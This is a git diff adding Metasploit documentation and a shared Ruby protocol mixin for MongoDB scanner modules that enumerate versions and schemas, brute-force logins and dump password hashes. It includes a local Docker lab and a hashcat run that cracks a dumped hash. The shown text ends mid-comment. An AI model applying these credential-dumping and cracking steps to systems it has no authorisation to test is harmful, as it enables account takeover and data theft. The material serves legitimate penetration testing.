diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md new file mode 100644 index 0000000000000..ed36bd03ba385 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md @@ -0,0 +1,176 @@ +## Vulnerable Application + +This module extracts password hashes from a MongoDB instance and stores +them in the database for later cracking. By default, it dumps system user +credentials from the 'system.users' collection. Alternatively, +it can dump application user hashes from a specified collection. + +Use Hashcat mode 24100 for SCRAM-SHA-1 and 24200 for SCRAM-SHA-256 +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Privileged user for hashdump testing (users are stored in admin on 3.0+) +db = db.getSiblingDB('admin'); +db.createUser({ + user: "rootuser", + pwd: "rootpass", + roles: [ { role: "root", db: "admin" } ] +}); + +// Create a non-root read/write user for testing, plus sample data, in intranet +db = db.getSiblingDB('intranet'); +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application (`docker compose down -v && docker compose up -d`) +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_hashdump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a hash dump + +## Options + +### DB + +Database to query. Defaults to `admin` + +### COLLECTION + +Custom collection to dump (if empty, dumps system.users). Defaults to ``. + +### USER_FIELD + +Username field name for custom collection. Defaults to `username` + +### HASH_FIELD + +Hash field name for custom collection. Defaults to `hash` + +### USERNAME + +Username for authentication if required. Defaults to ``. + +### PASSWORD + +Password for authentication if required. Defaults to ``. + +## Scenarios + +### MongoDB 3.6 + +``` +msf > use auxiliary/scanner/mongodb/mongodb_hashdump +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set username rootuser +username => rootuser +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set password rootpass +password => rootpass +msf auxiliary(scanner/mongodb/mongodb_hashdump) > run +[*] 127.0.0.1:27017 - Authentication required, attempting login as 'rootuser'... +[+] 127.0.0.1:27017 - SUCCESSFUL LOGIN 'rootuser' : 'rootpass' (SCRAM-SHA-1) +[+] 127.0.0.1:27017 - Successfully authenticated +[*] 127.0.0.1:27017 - Dumping MongoDB system users from admin.system.users... +[+] 127.0.0.1:27017 - +MongoDB System Hashes +===================== + +Type Username Hash +---- -------- ---- +db (SCRAM-SHA-1) admin $mongodb-scram$*0*YWRtaW4=*10000*xCc57N/8IgpWEHPODdHsAQ==*+bxIK/YAwBSxMLnRpPf4AmbSBvQ= +db (SCRAM-SHA-1) rootuser $mongodb-scram$*0*cm9vdHVzZXI=*10000*VfQAlXrH/YonbvSB+2fRQQ==*8KXH4TJMtnB93DdA17bHqnfJ89I= +db (SCRAM-SHA-1) testuser $mongodb-scram$*0*dGVzdHVzZXI=*10000*rIQ3DXQKAav/vJ2/pjfRQA==*aXtJ8Hri4pewkuIucDZhv3aYexM= + +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +``` + +#### Cracking + +``` +$ hashcat /tmp/hashes.txt -m 24100 -a 0 /tmp/wordlist --potfile-disable +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] +==================================================================================================================================================== +* Device #01: cpu-ivybridge-Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz, 39240/78480 MB (16384 MB allocatable), 12MCU + +...clip... + +Approaching final keyspace - workload adjusted. + +$mongodb-scram$*0*YWRtaW4=*10000*xCc57N/8IgpWEHPODdHsAQ==*+bxIK/YAwBSxMLnRpPf4AmbSBvQ=:adminpassword + +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 24100 (MongoDB ServerKey SCRAM-SHA-1) +Hash.Target......: $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W...u9c4g= +Time.Started.....: Fri Aug 14 14:31:45 2026 (0 secs) +Time.Estimated...: Fri Aug 14 14:31:45 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/tmp/wordlist) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........: 225 H/s (0.86ms) @ Accel:87 Loops:1000 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 3/3 (100.00%) +Rejected.........: 0/3 (0.00%) +Restore.Point....: 0/3 (0.00%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9000-9999 +Candidate.Engine.: Device Generator +Candidates.#01...: admin -> password +Hardware.Mon.#01.: Util: 20% + +Started: Fri Aug 14 14:31:42 2026 +Stopped: Fri Aug 14 14:31:47 2026 +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md new file mode 100644 index 0000000000000..38075000d3905 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md @@ -0,0 +1,152 @@ +## Vulnerable Application + +This module attempts to brute force authentication credentials for MongoDB. +It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy +MONGODB-CR authentication if SCRAM is unsupported by the target server. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Privileged user for hashdump testing (users are stored in admin on 3.0+) +db = db.getSiblingDB('admin'); +db.createUser({ + user: "rootuser", + pwd: "rootpass", + roles: [ { role: "root", db: "admin" } ] +}); + +// Create a non-root read/write user for testing, plus sample data, in intranet +db = db.getSiblingDB('intranet'); +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application (`docker compose down -v && docker compose up -d`) +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_login` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a login + +## Options + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set username testuser +username => testuser +msf auxiliary(scanner/mongodb/mongodb_login) > set password testpass +password => testpass +msf auxiliary(scanner/mongodb/mongodb_login) > set auth_db intranet +db => intranet +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[*] 127.0.0.1:27017 - Mongo server (version 3.6.23) requires authentication +[*] 127.0.0.1:27017 - Trying user: testuser, password: testpass +[+] 127.0.0.1:27017 - SUCCESSFUL LOGIN 'testuser' : 'testpass' (SCRAM-SHA-1) +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[+] 127.0.0.1:27017 - Mongo server 127.0.0.1 (version 3.6.23) doesn't use authentication +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md new file mode 100644 index 0000000000000..db99716853a7a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md @@ -0,0 +1,241 @@ +## Vulnerable Application + +This module connects to an unauthenticated or authenticated MongoDB instance, +authenticates using SCRAM-SHA-1 if credentials are provided, enumerates +databases and collections via wire protocol, samples documents, and dumps +the inferred schema structure. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Privileged user for hashdump testing (users are stored in admin on 3.0+) +db = db.getSiblingDB('admin'); +db.createUser({ + user: "rootuser", + pwd: "rootpass", + roles: [ { role: "root", db: "admin" } ] +}); + +// Create a non-root read/write user for testing, plus sample data, in intranet +db = db.getSiblingDB('intranet'); +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application (`docker compose down -v && docker compose up -d`) +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_schemadump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a schema dump + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +### SAMPLE_SIZE + +Number of sample documents to inspect per collection for schema mapping. Defaults to `5` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814091146_default_127.0.0.1_mongodb.schema_850455.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[*] 127.0.0.1:27017 - Post-auth listDatabases reply: {"databases"=>[{"name"=>"admin", "sizeOnDisk"=>81920.0, "empty"=>false}, {"name"=>"config", "sizeOnDisk"=>12288.0, "empty"=>false}, {"name"=>"intranet", "sizeOnDisk"=>65536.0, "empty"=>false}, {"name"=>"local", "sizeOnDisk"=>65536.0, "empty"=>false}], "totalSize"=>225280.0, "ok"=>1.0} +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[+] 127.0.0.1:27017 - Schema for admin.system.users: + - _id (String) + - userId (Binary) + - user (String) + - db (String) + - credentials (Document) + - credentials.SCRAM-SHA-1 (Document) + - credentials.SCRAM-SHA-1.iterationCount (Integer) + - credentials.SCRAM-SHA-1.salt (String) + - credentials.SCRAM-SHA-1.storedKey (String) + - credentials.SCRAM-SHA-1.serverKey (String) + - roles (Array) +[+] 127.0.0.1:27017 - Schema for admin.system.version: + - _id (String) + - version (String) + - currentVersion (Integer) +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - Collection config.system.sessions is empty or returned no fields. +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[+] 127.0.0.1:27017 - Schema for intranet.users: + - _id (ObjectId) + - user (String) + - role (String) + - email (String) +[+] 127.0.0.1:27017 - Schema for intranet.config: + - _id (ObjectId) + - key (String) + - value (String) + - note (String) +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema for local.startup_log: + - _id (String) + - hostname (String) + - startTime (Time) + - startTimeLocal (String) + - cmdLine (Document) + - cmdLine.net (Document) + - cmdLine.net.bindIp (String) + - cmdLine.net.port (Integer) + - cmdLine.net.ssl (Document) + - cmdLine.net.ssl.mode (String) + - cmdLine.processManagement (Document) + - cmdLine.processManagement.fork (TrueClass) + - cmdLine.processManagement.pidFilePath (String) + - cmdLine.systemLog (Document) + - cmdLine.systemLog.destination (String) + - cmdLine.systemLog.logAppend (TrueClass) + - cmdLine.systemLog.path (String) + - pid (Integer) + - buildinfo (Document) + - buildinfo.version (String) + - buildinfo.gitVersion (String) + - buildinfo.modules (Array) + - buildinfo.allocator (String) + - buildinfo.javascriptEngine (String) + - buildinfo.sysInfo (String) + - buildinfo.versionArray (Array) + - buildinfo.openssl (Document) + - buildinfo.openssl.running (String) + - buildinfo.openssl.compiled (String) + - buildinfo.buildEnvironment (Document) + - buildinfo.buildEnvironment.distmod (String) + - buildinfo.buildEnvironment.distarch (String) + - buildinfo.buildEnvironment.cc (String) + - buildinfo.buildEnvironment.ccflags (String) + - buildinfo.buildEnvironment.cxx (String) + - buildinfo.buildEnvironment.cxxflags (String) + - buildinfo.buildEnvironment.linkflags (String) + - buildinfo.buildEnvironment.target_arch (String) + - buildinfo.buildEnvironment.target_os (String) + - buildinfo.bits (Integer) + - buildinfo.debug (FalseClass) + - buildinfo.maxBsonObjectSize (Integer) + - buildinfo.storageEngines (Array) + - cmdLine.net.bindIpAll (TrueClass) + - cmdLine.security (Document) + - cmdLine.security.authorization (String) +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814093115_default_127.0.0.1_mongodb.schema_973313.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md new file mode 100644 index 0000000000000..0b587e28a1d44 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md @@ -0,0 +1,88 @@ +## Vulnerable Application + +This module connects to a MongoDB instance and retrieves the server version +using the buildInfo command. No authentication is required for this command. + +Tested against MongoDB 3.6.23 + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Privileged user for hashdump testing (users are stored in admin on 3.0+) +db = db.getSiblingDB('admin'); +db.createUser({ + user: "rootuser", + pwd: "rootpass", + roles: [ { role: "root", db: "admin" } ] +}); + +// Create a non-root read/write user for testing, plus sample data, in intranet +db = db.getSiblingDB('intranet'); +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application (`docker compose down -v && docker compose up -d`) +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_version` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a version back + +## Options + +## Scenarios + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_version +msf auxiliary(scanner/mongodb/mongodb_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_version) > run +[+] 127.0.0.1:27017 - MongoDB version: 3.6.23 +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/exploit/remote/mongodb.rb b/lib/msf/core/exploit/remote/mongodb.rb new file mode 100644 index 0000000000000..8985a93b092ec --- /dev/null +++ b/lib/msf/core/exploit/remote/mongodb.rb @@ -0,0 +1,503 @@ +# -*- coding: binary -*- + +module Msf + # This mixin provides the MongoDB functionality shared by the auxiliary + # scanner modules: the low-level wire protocol helpers (OP_QUERY packet + # construction, reply framing, BSON reply parsing, and cursor draining via + # getMore) plus the single shared authentication entry point, + # #authenticate, which tries SCRAM-SHA-1 (MongoDB 3.0+) and falls back to + # legacy MONGODB-CR (MongoDB < 3.0). Modules build their flows on these + # primitives and must not reimplement the auth handshakes; only the + # module-specific parts (credential reporting, brute-force loops) stay in + # the modules themselves. + module Exploit::Remote::Mongodb + include Msf::Exploit::Remote::Tcp + + # MongoDB error codes that explicitly indicate an authentication or + # authorization failure. 13 = Unauthorized, 18 = AuthenticationFailed. + # https://www.mongodb.com/docs/manual/reference/error-codes/ + AUTH_ERROR_CODES = [13, 18].freeze + + # The codeName counterparts of AUTH_ERROR_CODES. + AUTH_ERROR_CODENAMES = %w[Unauthorized AuthenticationFailed].freeze + + # Substrings of an errmsg (or of a raw reply body that will not parse as + # BSON) that indicate a command failed for authentication reasons rather + # than some unrelated error. + AUTH_ERROR_MESSAGES = [ + 'unauthorized', + 'not authorized', + 'authentication failed', + 'auth failed', + 'requires authentication', + 'need to login' + ].freeze + + # Upper bound on the length of a single wire protocol message accepted + # from the server. mongod caps maxMessageSizeBytes far below this, so a + # declared length over it is corrupt and must not be trusted for framing. + MAX_MESSAGE_LENGTH = 64 * 1024 * 1024 + + # Safety cap on getMore rounds so a server that keeps reporting an open + # cursor cannot loop forever; far past any realistic system.users or + # listCollections result set. + MAX_GETMORE_BATCHES = 1000 + + def initialize(info = {}) + super + + register_options([ + Opt::RPORT(27017), + OptString.new('AUTH_DB', [ false, 'Database to authenticate against', 'admin' ]), + OptString.new('USERNAME', [ false, 'Username for authentication', '' ]), + OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]), + ]) + end + + # Builds a MongoDB wire protocol OP_QUERY message. + # + # @param coll_name [String] fully qualified namespace, e.g. "admin.$cmd" + # @param bson_payload [String] the BSON-encoded command/query document + # @param number_to_return [Integer] OP_QUERY numberToReturn field + # @return [String] the raw wire protocol message bytes + def mongodb_build_packet(coll_name, bson_payload, number_to_return: 1) + coll_str = "#{coll_name}\x00" + req_id = Rex::Text.rand_text(4) + msg_len = 16 + 4 + coll_str.length + 4 + 4 + bson_payload.length + + packet = [msg_len].pack('V') + packet << req_id # requestID + packet << "\x00\x00\x00\x00" # responseTo: 0 + packet << "\xd4\x07\x00\x00" # opCode: 2004 (OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << coll_str # fullCollectionName + packet << "\x00\x00\x00\x00" # numberToSkip: 0 + packet << [number_to_return].pack('V') # numberToReturn + packet << bson_payload + packet + end + + # Parses the single BSON reply document from a raw OP_REPLY response. + # + # @param response [String, nil] raw bytes read from the socket + # @return [BSON::Document, nil] + def mongodb_parse_doc(response) + return nil if response.nil? || response.length <= 36 + + buffer = BSON::ByteBuffer.new(response[36..]) + BSON::Document.from_bson(buffer) + rescue StandardError + nil + end + + # Parses every BSON document present in a raw OP_REPLY response body. + # + # @param response [String, nil] raw bytes read from the socket + # @return [Array] + def mongodb_parse_docs(response) + return [] if response.nil? || response.length <= 36 + + data = response[36..] + return [] if data.nil? || data.empty? + + docs = [] + offset = 0 + + while offset < data.length + break if offset + 4 > data.length + + doc_len = data[offset, 4].unpack1('V') + break if doc_len.nil? || doc_len <= 0 || (offset + doc_len) > data.length + + buffer = BSON::ByteBuffer.new(data[offset, doc_len]) + docs << BSON::Document.from_bson(buffer) + offset += doc_len + end + + docs + rescue StandardError => e + vprint_error("BSON parse error: #{e.message}") + [] + end + + # Parses a SCRAM `key=value,key=value` wire payload into a Hash. + # + # @param payload [String] + # @return [Hash] + def mongodb_parse_scram_payload(payload) + payload.split(',').each_with_object({}) do |var, hash| + k, v = var.split('=', 2) + hash[k] = v if k && v + end + end + + # Encodes a username for use in a SCRAM client-first message per RFC 5802 + # section 5.1: '=' becomes '=3D' and ',' becomes '=2C' so they cannot be + # mistaken for payload delimiters. Usernames containing a nul byte cannot + # be represented at all and are rejected. + # + # @param user [String] + # @return [String, nil] the encoded username, or nil when it cannot be + # encoded (nul byte) + def mongodb_encode_scram_username(user) + return nil if user.nil? || user.include?("\x00") + + user.gsub('=', '=3D').gsub(',', '=2C') + end + + # Reads exactly +length+ bytes from the socket. Rex get_once returns as + # soon as any data is available, so a reply split across TCP segments + # arrives in pieces that must be accumulated. + # + # @param sock [Rex::Socket::Tcp] connected socket to read from + # @param length [Integer] number of bytes to read + # @param timeout [Integer] seconds to wait per read + # @return [String, nil] nil when the socket times out or closes early + def mongodb_read_exact(sock, length, timeout) + data = '' + while data.length < length + chunk = sock.get_once(length - data.length, timeout) + return nil if chunk.nil? || chunk.empty? + + data << chunk + end + + data + rescue IOError # covers EOFError, its subclass + nil + end + + # Reads one complete MongoDB wire protocol message: the 16 byte standard + # header first, then messageLength minus 16 body bytes, so a large reply + # split across TCP segments is fully reassembled before it is parsed. + # + # @param sock (see #mongodb_read_exact) + # @param timeout [Integer] seconds to wait per read + # @return [String, nil] the complete message including its header + def mongodb_read_message(sock, timeout = 5) + header = mongodb_read_exact(sock, 16, timeout) + return nil if header.nil? + + msg_len = header.unpack1('V') + return nil if msg_len.nil? || msg_len < 16 || msg_len > MAX_MESSAGE_LENGTH + + return header if msg_len == 16 + + body = mongodb_read_exact(sock, msg_len - 16, timeout) + return nil if body.nil? + + header + body + end + + # Extracts the cursor id from the OP_REPLY header of a raw response. + # + # @param response [String, nil] + # @return [Integer] the 64-bit cursor id, or 0 when the reply carries no + # cursor (or is too short to hold one) + def mongodb_parse_cursor_id(response) + return 0 if response.nil? || response.length < 28 + + response[20, 8].unpack1('Q<') + end + + # Sends an OP_QUERY and drains the reply cursor with getMore commands + # until it is exhausted, so a namespace holding more documents than the + # first OP_REPLY batch (101 documents by default) is fully retrieved. + # Both cursor styles are followed: plain collection queries expose the + # cursor id in the OP_REPLY header, while command cursors (listCollections + # and friends) embed a cursor document carrying firstBatch/nextBatch in + # the reply document. + # + # @param sock (see #mongodb_read_exact) + # @param namespace [String] fully qualified namespace, e.g. "admin.system.users" + # @param bson_payload [String] BSON-encoded query/command document + # @param timeout [Integer] seconds to wait for each read + # @param number_to_return [Integer] OP_QUERY numberToReturn field; 0 lets + # the server use its default batch size and keeps the cursor open + # @return [Array] + def mongodb_query_all(sock, namespace, bson_payload, timeout: 5, number_to_return: 0) + # Commands answer with a single reply document and mongod enforces that + # on the wire: an OP_QUERY against a $cmd namespace must set + # numberToReturn to exactly 1 or -1 (0 draws "Bad numberToReturn"). + # Cursor batching for commands happens inside that document, so 1 is + # always the right envelope no matter what the caller asked for. + number_to_return = 1 if namespace.end_with?('$cmd') + + sock.put(mongodb_build_packet(namespace, bson_payload, number_to_return: number_to_return)) + response = mongodb_read_message(sock, timeout) + return [] if response.nil? + + docs = mongodb_parse_docs(response) + db, coll = namespace.split('.', 2) + reply = docs.first + + cursor_doc = reply.is_a?(BSON::Document) ? reply['cursor'] : nil + if cursor_doc + # Command cursor: the batches live inside the reply's cursor + # document, so the wrapper itself is not a result document. + first_batch = cursor_doc['firstBatch'] + docs = first_batch.is_a?(Array) ? first_batch.dup : [] + cursor_id = cursor_doc['id'].is_a?(Integer) ? cursor_doc['id'] : 0 + getmore_collection = mongodb_getmore_collection(cursor_doc, coll) + else + cursor_id = mongodb_parse_cursor_id(response) + getmore_collection = coll + end + + batches = 0 + while cursor_id != 0 + break if getmore_collection.nil? || getmore_collection.empty? + break if (batches += 1) > MAX_GETMORE_BATCHES + + getmore_cmd = BSON::Document.new({ + 'getMore' => BSON::Int64.new(cursor_id), + 'collection' => getmore_collection + }) + vprint_status("Following cursor #{cursor_id} on #{namespace} (#{docs.length} documents so far)") + sock.put(mongodb_build_packet("#{db}.$cmd", getmore_cmd.to_bson.to_s)) + response = mongodb_read_message(sock, timeout) + break if response.nil? + + reply = mongodb_parse_doc(response) + break if reply.nil? || reply['ok'].to_i != 1 + + cursor_doc = reply['cursor'] + batch = cursor_doc ? cursor_doc['nextBatch'] : mongodb_parse_docs(response) + break if batch.nil? || batch.empty? + + docs.concat(batch) + if cursor_doc + cursor_id = cursor_doc['id'].is_a?(Integer) ? cursor_doc['id'] : 0 + getmore_collection = mongodb_getmore_collection(cursor_doc, getmore_collection) + else + cursor_id = mongodb_parse_cursor_id(response) + end + end + + docs + end + + # Derives the collection argument for a getMore command from a cursor's + # namespace ("db.system.users" -> "system.users", "db.$cmd.listCollections" + # -> "$cmd.listCollections"), falling back to the collection the original + # query ran against when the cursor carries no namespace. + # + # @param cursor_doc [BSON::Document, nil] the reply's cursor document + # @param fallback [String] collection name from the queried namespace + # @return [String, nil] + def mongodb_getmore_collection(cursor_doc, fallback) + ns = cursor_doc ? cursor_doc['ns'].to_s : '' + coll = ns.empty? ? nil : ns.split('.', 2)[1] + + coll.nil? || coll.empty? ? fallback : coll + end + + # Detects a legacy OP_QUERY error reply hiding among the result + # documents: failed collection queries are answered with an ordinary + # document carrying `$err` (or `errmsg`) plus ok: 0 instead of data, so a + # dump that only checks for empty results mistakes them for records. + # + # @param docs [Array] documents returned by a query + # @return [String, nil] the server's error message, nil for real data + def mongodb_query_error(docs) + doc = docs.first + return nil unless doc.is_a?(Hash) # BSON::Document subclasses Hash + + return doc['$err'] || doc['errmsg'] if doc['$err'] || doc['errmsg'] + return "command failed (code #{doc['code']})" if doc.key?('ok') && doc['ok'].to_i == 0 + + nil + end + + # @param response [String, nil] + # @return [Boolean] true only when the response explicitly indicates an + # authentication or authorization failure: error codes 13/18, their + # codeNames, or an errmsg matching a known auth phrase. A generic + # ok:0 failure (unknown 